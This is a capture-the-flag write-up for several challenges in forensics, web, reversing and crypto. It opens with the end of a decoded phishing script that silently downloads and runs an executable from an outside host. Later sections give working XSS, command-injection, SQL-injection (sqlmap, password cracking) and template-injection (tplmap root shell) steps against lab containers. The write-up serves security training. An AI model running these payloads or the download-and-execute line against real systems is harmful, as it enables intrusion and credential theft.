	Set objStartup = Service.Get("Win32_ProcessStartup")
	Set objConfig = objStartup.SpawnInstance_
	Set Process = Service.Get("Win32_Process")
	Error = Process.Create("cmd.exe /c powershell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://standunited.htb/online/forms/form1.exe','%appdata%\form1.exe');Start-Process '%appdata%\form1.exe';$flag='HTB{4n0th3r_d4y_4n0th3r_ph1shi1ng_4tt3mpT}", null, objConfig, intProcessID)
	window.close()
end sub
</script>
</head>
</html>

FLAG: HTB{4n0th3r_d4y_4n0th3r_ph1shi1ng_4tt3mpT}

Web

TimeKORP (300 pts)

Difficulty: very easy

Are you ready to unravel the mysteries and expose the truth hidden within KROP’s digital domain? Join the challenge and prove your prowess in the world of cybersecurity. Remember, time is money, but in this case, the rewards may be far greater than you imagine.

Spawn the docker container provided with the challenge. Access it while using Burp Suite.

We find a reflected XSS in the format parameter:

http://94.237.53.3:34777/?format=%3Cscript%3Ealert(1)%3C%2fscript%3E

We also find an OS command injection in the format parameter. Use URL encoding or use extension Hackvertor.

GET /?format=<@urlencode>'|id #'<@/urlencode> HTTP/1.1
Host: 94.237.53.3:34777
[...]
[...]
<span class='text-muted'>It's</span> uid=1000(www) gid=1000(www) groups=1000(www)<span class='text-muted'>.</span>
[...]

Read the flag.

GET /?format=<@urlencode>'| cat /flag #'<@/urlencode> HTTP/1.1
Host: 94.237.53.3:34777
[...]
[...]
<span class='text-muted'>It's</span> HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}<span class='text-muted'>.</span>
[...]

FLAG: HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}

Flag Command (300 pts)

Difficulty: very easy

Embark on the “Dimensional Escape Quest” where you wake up in a mysterious forest maze that’s not quite of this world. Navigate singing squirrels, mischievous nymphs, and grumpy wizards in a whimsical labyrinth that may lead to otherworldly surprises. Will you conquer the enchanted maze or find yourself lost in a different dimension of magical challenges? The journey unfolds in this mystical escape!

Spawn the docker container provided with the challenge. Access it while using Burp Suite. Inspect requests. We see a call to “/api/options”.

GET /api/options HTTP/1.1
Host: 94.237.62.149:40031
[...]
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.11.8
Date: Tue, 12 Mar 2024 14:31:35 GMT
Content-Type: application/json
Content-Length: 637
Connection: close

{
  "allPossibleCommands": {
    "1": [
      "HEAD NORTH",
      "HEAD WEST",
      "HEAD EAST",
      "HEAD SOUTH"
    ],
    "2": [
      "GO DEEPER INTO THE FOREST",
      "FOLLOW A MYSTERIOUS PATH",
      "CLIMB A TREE",
      "TURN BACK"
    ],
    "3": [
      "EXPLORE A CAVE",
      "CROSS A RICKETY BRIDGE",
      "FOLLOW A GLOWING BUTTERFLY",
      "SET UP CAMP"
    ],
    "4": [
      "ENTER A MAGICAL PORTAL",
      "SWIM ACROSS A MYSTERIOUS LAKE",
      "FOLLOW A SINGING SQUIRREL",
      "BUILD A RAFT AND SAIL DOWNSTREAM"
    ],
    "secret": [
      "Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"
    ]
  }
}

There is a secret option. Enter “start”, then “Blip-blop, in a pickle with a hiccup! Shmiggity-shmack” in the game to get the flag.

POST /api/monitor HTTP/1.1
Host: 94.237.62.149:40031
Content-Length: 68
[...]

{"command":"Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"}
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.11.8
Date: Tue, 12 Mar 2024 14:38:33 GMT
Content-Type: application/json
Content-Length: 67
Connection: close

{
  "message": "HTB{D3v3l0p3r_t00l5_4r3_b35t_wh4t_y0u_Th1nk??!}"
}

FLAG: HTB{D3v3l0p3r_t00l5_4r3_b35t_wh4t_y0u_Th1nk??!}

KORP Terminal (300 pts)

Difficulty: very easy

Your faction must infiltrate the KORP™ terminal and gain access to the Legionaries’ privileged information and find out more about the organizers of the Fray. The terminal login screen is protected by state-of-the-art encryption and security protocols.

Spawn the docker container provided with the challenge. Access it while using Burp Suite.

Submit any username and password. Inspect requests. Enter a single quote. There is a SQL injection.

POST / HTTP/1.1
Host: 94.237.49.147:52417
[...]

username=admin'&password=admin
HTTP/1.1 500 INTERNAL SERVER ERROR
Server: Werkzeug/3.0.1 Python/3.12.2
Date: Tue, 12 Mar 2024 15:01:31 GMT
Content-Type: application/json
Content-Length: 238
Connection: close

{"error":{"message":["1064","1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''admin''' at line 1","42000"],"type":"ProgrammingError"}}

The database management system is MariaDB. Use SQLmap.

sqlmap -u "http://94.237.49.147:52417/" --data="username=admin&password=admin" -p username --dbms=mysql --level=5 --risk=3 --ignore-code=401
[...]
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 736 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: username=admin' AND 2337=(SELECT (CASE WHEN (2337=2337) THEN 2337 ELSE (SELECT 8973 UNION SELECT 2428) END))-- -&password=admin

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=admin' AND (SELECT 4761 FROM(SELECT COUNT(*),CONCAT(0x7170787871,(SELECT (ELT(4761=4761,1))),0x716a786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- RjXI&password=admin

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SLEEP)
    Payload: username=admin' AND SLEEP(5)-- qzRn&password=admin
---
[...]

Get a SQL shell.

sqlmap -u "http://94.237.49.147:52417/" --data="username=admin&password=admin" -p username --dbms=mysql --level=5 --risk=3 --ignore-code=401 --sql-shell

List the tables and try to find the credentials to log in the web application.

select distinct table_schema from information_schema.tables;
[INFO] retrieved: 'information_schema'
[INFO] retrieved: 'korp_terminal'
select table_name from information_schema.tables where table_schema = 'korp_terminal';
[INFO] retrieved: 'users'
select * from korp_terminal.users;
[INFO] fetching SQL SELECT statement query output: 'select * from korp_terminal.users'
[INFO] you did not provide the fields in your query. sqlmap will retrieve the column names itself
[INFO] fetching columns for table 'users' in database 'korp_terminal'
[INFO] retrieved: 'id'
[INFO] retrieved: 'int(11)'
[INFO] retrieved: 'username'
[INFO] retrieved: 'varchar(255)'
[INFO] retrieved: 'password'
[INFO] retrieved: 'varchar(255)'
[INFO] the query with expanded column name(s) is: SELECT id, password, username FROM korp_terminal.users
[INFO] retrieved: '1'
[INFO] retrieved: '$2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv.'
[INFO] retrieved: 'admin'

We find the hash for user “admin”:

$2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv.

Crack the hash.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

We find “password123”. Enter credentials admin/password123 on the login page to obtain the flag.

FLAG: HTB{t3rm1n4l_cr4ck1ng_sh3n4nig4n5}

Web – Labyrinth Linguist (300 pts)

Difficulty: easy

You and your faction find yourselves cornered in a refuge corridor inside a maze while being chased by a KORP mutant exterminator. While planning your next move you come across a translator device left by previous Fray competitors, it is used for translating english to voxalith, an ancient language spoken by the civilization that originally built the maze. It is known that voxalith was also spoken by the guardians of the maze that were once benign but then were turned against humans by a corrupting agent KORP devised. You need to reverse engineer the device in order to make contact with the mutant and claim your last chance to make it out alive.

Download the files provided with the challenge and spawn the docker container. Access it while using Burp Suite.

cat ./src/main/java/Main.java
import java.io.*;
import java.util.HashMap;

import org.springframework.boot.*;
import org.springframework.boot.autoconfigure.*;
import org.springframework.stereotype.*;
import org.springframework.web.bind.annotation.*;

import org.apache.velocity.VelocityContext;
import org.apache.velocity.runtime.RuntimeServices;
import org.apache.velocity.runtime.RuntimeSingleton;
import org.apache.velocity.runtime.parser.ParseException;

@Controller
@EnableAutoConfiguration
public class Main {

    @RequestMapping("/")
    @ResponseBody
    String index(@RequestParam(required = false, name = "text") String textString) {
        if (textString == null) {
                textString = "Example text";
        }

        String template = "";

        try {
            template = readFileToString("/app/src/main/resources/templates/index.html", textString);
        } catch (IOException e) {
            e.printStackTrace();
        }

        RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
        StringReader reader = new StringReader(template);

        org.apache.velocity.Template t = new org.apache.velocity.Template();
        t.setRuntimeServices(runtimeServices);
        try {

                t.setData(runtimeServices.parse(reader, "home"));
                t.initDocument();
                VelocityContext context = new VelocityContext();
                context.put("name", "World");

                StringWriter writer = new StringWriter();
                t.merge(context, writer);
                template = writer.toString();

        } catch (ParseException e) {
                e.printStackTrace();
        }

        return template;
    }

    public static String readFileToString(String filePath, String replacement) throws IOException {
        StringBuilder content = new StringBuilder();
        BufferedReader bufferedReader = null;

        try {
            bufferedReader = new BufferedReader(new FileReader(filePath));
            String line;
            
            while ((line = bufferedReader.readLine()) != null) {
                line = line.replace("TEXT", replacement);
                content.append(line);
                content.append("\n");
            }
        } finally {
            if (bufferedReader != null) {
                try {
                    bufferedReader.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }

        return content.toString();
    }

    public static void main(String[] args) throws Exception {
        System.getProperties().put("server.port", 1337);
        SpringApplication.run(Main.class, args);
    }
}

We can see the application uses Apache Velocity (or “Java Velocity”).

Enter any text in the web application.

POST / HTTP/1.1
Host: 94.237.54.153:38124
[...]

text=test
HTTP/1.1 200 
Content-Type: text/html;charset=UTF-8
Content-Length: 606
Date: Wed, 13 Mar 2024 17:54:48 GMT
Connection: close

<!DOCTYPE html>
<html lang="en">
[...]
    <h2 class="fire">test</h2>
</body>
</html>

The text is reflected in the server response. Send the request to the Repeater module (use the Hackvertor extension to URL encode the payload). We find a server side template injection. Sending 7*7 results in 49 in the server response.

POST / HTTP/1.1
Host: 94.237.54.153:38124
[...]

text=<@urlencode>#set ($x=7*7) ${x}<@/urlencode>
[...]
   <h2 class="fire"> 49</h2>
[...]

Use tplmap.

./tplmap.py -u 'http://94.237.54.153:38124/' -X POST -d text=whatever -e velocity --os-shell

We get a shell as root.

ls -la /flag*
-rw-r--r-- 1 root root 38 Mar  6 20:35 /flag04a792f66f.txt

Read the flag.

cat /flag04a792f66f.txt
HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!}

FLAG: HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!}

Reversing

LootStash (300 pts)

Difficulty: very easy

A giant stash of powerful weapons and gear have been dropped into the arena – but there’s one item you have in mind. Can you filter through the stack to get to the one thing you really need?

Download the file provided with the challenge. Look for the flag in the binary.

strings stash | grep HTB
HTB{n33dl3_1n_a_l00t_stack}

FLAG: HTB{n33dl3_1n_a_l00t_stack}

BoxCutter (300 pts)

Difficulty: very easy

You’ve received a supply of valuable food and medicine from a generous sponsor. There’s just one problem – the box is made of solid steel! Luckily, there’s a dumb automated defense robot which you may be able to trick into opening the box for you – it’s programmed to only attack things with the correct label.

Trace system calls.

strace ./cutter
execve("./cutter", ["./cutter"], 0x7ffd3d94dea0 /* 55 vars */) = 0
[...]
openat(AT_FDCWD, "HTB{tr4c1ng_th3_c4ll5}", O_RDONLY) = -1 ENOENT (No such file or directory)
[...]

FLAG: HTB{tr4c1ng_th3_c4ll5}

Crypto

Primary Knowledge (300 pts)

Difficulty: very easy

Surrounded by an untamed forest and the serene waters of the Primus river, your sole objective is surviving for 24 hours. Yet, survival is far from guaranteed as the area is full of Rattlesnakes, Spiders and Alligators and the weather fluctuates unpredictably, shifting from scorching heat to torrential downpours with each passing hour. Threat is compounded by the existence of a virtual circle which shrinks every minute that passes. Anything caught beyond its bounds, is consumed by flames, leaving only ashes in its wake. As the time sleeps away, you need to prioritise your actions secure your surviving tools. Every decision becomes a matter of life and death. Will you focus on securing a shelter to sleep, protect yourself against the dangers of the wilderness, or seek out means of navigating the Primus’ waters?

Download the files provided with the challenge. The output.txt file contains values for “n”, “e” and “c”. In cryptography, n, e, and c often refer to parameters used in the RSA encryption algorithm (n = modulus, e = public exponent, c = ciphertext). “n” is generating only one prime number (2 ** 0 = 1) so this is a monoprime RSA. We will be able to find the private exponent “d” needed for decryption.

source.py

import math
from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG

m = bytes_to_long(FLAG)

n = math.prod([getPrime(1024) for _ in range(2**0)])
e = 0x10001
c = pow(m, e, n)

with open('output.txt', 'w') as f:
    f.write(f'{n = }\n')
    f.write(f'{e = }\n')
    f.write(f'{c = }\n')

Write code to decrypt the flag.

decrypt.py

#!/usr/bin/python
from Crypto.Util.number import inverse, long_to_bytes

n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
e = 65537
c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215

def decrypt_rsa(c, d, n):
    m = pow(c, d, n)
    return m

# n is generating only one prime since 2 ** 0 = 1 so this is a monoprime RSA
# n = math.prod([getPrime(1024) for _ in range(2**0)])
def calculate_private_exponent(e, n):
    phi_n = n - 1
    d = inverse(e, phi_n)
    return d

# Calculate private exponent
d = calculate_private_exponent(e, n)
print("Private exponent (d):", d)

# Decrypt
print("FLAG: ", long_to_bytes(decrypt_rsa(c, d, n)).decode('utf-8'))
chmod u+x decrypt.py
./decrypt
Private exponent (d): 55261769724029465758400955930106061107890928987150464861119921886268753733725883742593177728433894569740662949257546923819719841469582457829543036879084710194109428329240631700042235318151998415702095639553353995637812383523264693749668429693094356966764654402321014316455057485854660784616151894635351126399
FLAG:  HTB{0h_d4mn_4ny7h1ng_r41s3d_t0_0_1s_1!!!}

FLAG: HTB{0h_d4mn_4ny7h1ng_r41s3d_t0_0_1s_1!!!}